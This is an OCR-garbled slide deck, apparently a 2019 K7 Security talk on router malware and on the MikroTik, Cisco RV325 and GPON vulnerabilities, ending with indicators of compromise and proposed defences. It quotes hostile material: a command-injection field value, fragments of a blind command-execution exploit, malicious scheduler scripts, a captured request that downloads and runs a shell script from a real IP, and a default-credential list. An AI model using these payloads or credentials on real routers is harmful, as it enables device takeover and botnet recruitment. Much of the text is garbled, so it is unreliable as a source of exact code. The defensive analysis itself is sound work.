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Why Router Research?
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Routers Incidents

VPNFiIter: New unter Malware

TheMoon Rises Again, With a Botnet-as-
a-Service Threat

Roaming Mantis infects smartphones through
Wi-Fi routers
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Routers Incidents

You know things got REAL when Indian media starts focusing on
something

This Malware Is Teaching People Virtue Of Strong Password By Destroying
Their Online Routers

Believe your home Wi-Fi is safe for online
transactions? Think again
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Why Router Attacks?

user=admin && pass=admin
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Router Infection Vectors
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Where them infections at?

FTP
DNS BASH
Kworker
HTTP
Watchdog
HTTPS
Busybox
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Expected Behaviour of a Router

Present

« Copy-paste Sirl]

- Secured

- Aftendance

= No surprise restarts

= No sniffing and snooping
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Common Malicious Operations

Botnet

Exfilfrate
data

Distribute malicious
content

Proxy
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Vulnerability Analysis

Let's talk about itll!
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CVE-2018-14847: Intfroduction

Arbitrary file read-write N
vulnerability Mikror s

Winbox
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Demo

A word on setup!
= Extracted and modified script

= On Device: MikroTik Router OS 6.39 (bugfix) with
GDBServer 1686

= Analysis Machine: GDB with PEDA

Let's go ahead and pwn the devicellll




/7 K7 SECURITY

CVE-2018-14847: Observations
( Start )

Schedule <shll3=

Name |HBVE]

art Date |May/09/2019 |

Start Time |startup [#]

Interval |00:08:00 |

MMM MMM EEK TITTTT
MMMM MMMM FFE TTTTTT

Owner |adrr|in | Comment
Policy |+ ftp reboot
v (= (v et ¥ wite
i Remaove
|Name P |5tart Date |5tart Time Interval Cwner policy te# Eomrlv
sh113 May/09/2019 startup 00:08:00 admin password |w| sniff
Errorl! & senstve [ omn
o [[] dude
Run Count |0 |

NextRun [May/0y2019 045242 |

DoBpent

:do {fip prowy set enabled=yes g
port=8080 src-address="::"} on-
error={:log info errorProsy}

Communicates o U proy acces emane Mg
. . ¢| errorProxy} »
with device

A 4

. cdo {fip prowy access remove [find
Litem (1selected) Action'=deny]} on-error={:log info
errorProxy}
do {fip proxy access add j

enabled
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CVE-2018-14847: Observations

Set DNS,

@—» Reboot device web proxy, | { Stop )
persistence

\ 4

Scheduler

Start Date Interval Owner Run Count|Next Run On Event
May/01/2019 03:11:00 1d 00:00:00 admin 0 May02/2019 03:11:00 /system reboot
May/(3/2019 startup 00:00:00 admin [system scheduler.

1
May 0172019 04:49:42 06:00:00 admin 0 May/01/2013 10:49:44 do {/tool fetch url.
0

May/01/2013 16:43:44 :do {/tool fetch url.

May01/2013 044342 12:00:00 admin
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CVE-2019-1652; Introduction

Web interface

stftar] 1 Smai Business

Rem Ofe Com m an d CI1sco Rv325 Gigabit Dual WAN VPN Router

Getling Started -
= Certificate Generate-
System Summary

Injection vulnerability | ssi.cql

» System Management
Country Name (C):

» Port Management

Five special characters are not supported: (%), (&), (\), ("), and ().

v
Common Name (CN): a'$(ping - 8.8.8.8)b |
nOIYSIS SeTUp. l{" Email Address (E): ' “\_UI\)E” GEI ICEI I ' ’

® » Log )
Key Encryption Len
» S5L VPN
O User Management Valid Duration an [ Days (Range: 1-10950, Default: 30)
- Binwalk
Save || Cancel ‘

- Ghidra —
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CVE-2019-1652: Observations

def exec cmd{base url, segsion, command}):
print "Executing Blind Command: %3" % {command)
target url = "%scerxtificate handleZ.htm?type=4" %({base_url})

location / {
root html;
index index.html index.htm;

if ($http user agent ~* "curl") {
return 403;
}

proxy set header X-Real-IP $remote addr;
proxy set header Host shttp host;
proxy set header X-Forwarded-For Sproxy_add x forwarded for;

rewrite */(.*) https://$host/$1 permanent;

system{acStacklllel);
sprintf(acStackllle0,"ln -sf %3%3.pem %3%3.pem","/etc/flash/ca/certs/",&uStacklled2,

§7 K7 SECURITY

"/etc/flash/ca/cacerts/" Ea:tackllu& 2) ;

g ; I E”CDHHD“ name": paylnad}l
r = session.post{url=target wurl, data=post_data, verify=False}
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CVE-2018-10561: Intfroduction

Authentication bypass vulnerability

« Web interface vulnerability

= “2images/” in the POST request

« Improper handling of malformed POST
request
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CVE-2018-10561: Observations

woid FUN 000088f4 (int iParml,int iParm2}

I
uint uVarl;
int ivVarz2:

ivar2 = 0O;
] while (ivar2 < iParm2) {
uVarl = FUN 0000885c()
* ({char *) {(iVar2 + iParml) =

’pdibwairmnheqclﬁk5fg5tv&jnﬁ?2u61PDST fEponForm/Sdiag FDIm?images!l
HTTPE/1.1\r\nHost:127.0.0.1:8080\r\nConnection:
keep—alive\r\nhccept-Encoding: gzip,

deflatet r\olhccept i # /Y A ollzer_Roent: Hello,
Worldir\nContent-Length:118\r\n\r\nXWebPageName=diagsdiag action=pings&
wan_conlist=0&dest_host="";wget+http://185.62.190.191/r+-C+->/tmpSr:sh
Htmp/reipy=0hrinhrhn”

{ [uVarl >»> 2 & Ox1f];

ivar2 = ivar2 + 1;

}

retorn ;
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Behavioural and Structural Changes

Let’'s recall what we have seen earlier?

DNS Web

serlpls Change Proxy

Passwords Accounts Services

K7 Computing Private Limited | 2019



§7 K7 SECURITY
Indicators of Compromise

= Arbitrary access

= Enabling/Disabling of services

« Presence of scripts and tasks
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Indicators of Compromise

- Restarts

= Integrity check fail

- DNS servers

= Suspicious communications

= Browser warnings
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Solutions: Existing, but with limitations

- VPNFilter Checker - DNS Checker

rentListener("click", fun

location.href, false);

aders().toLowerCase();

"<strong=Not infected:</straopg> There are no indications of the VPNFilter ssler plugin on

"<strong=Infecte trong> four router is likely infected with VPNFilter.";
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Solutions: Proposed Trident

Vendors

Security Solutions

égnrglors
ity Solstionmsent

: Pesfnerepliciesch

Us&JSier solutions
= Timely patch

- Update default passwords
« Kill unwanted services
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Solutions: Assumptions

— ) Whitelist IP
— ) Standard ports

— ) Integrity check
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Solutions: Proposed

root xc3511
root vizxv
root admin

admin admin
( START ) root 888888

root xmhdipc
root default
root juantech
root 123456
root 54321
support support
root (none)
admin password
root root
root 12345
USEI‘ [ NE=T=1 &
admin STATE SERVICE
LR 23/tcp open telnet
;g;l:r 53/tcp open domain
dmin 80/tcp open http
root ss1/http
root
root bryae
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Solutions: Limitations

)) Blacklists

@ ) FPs
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Questions?
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THANK YOU
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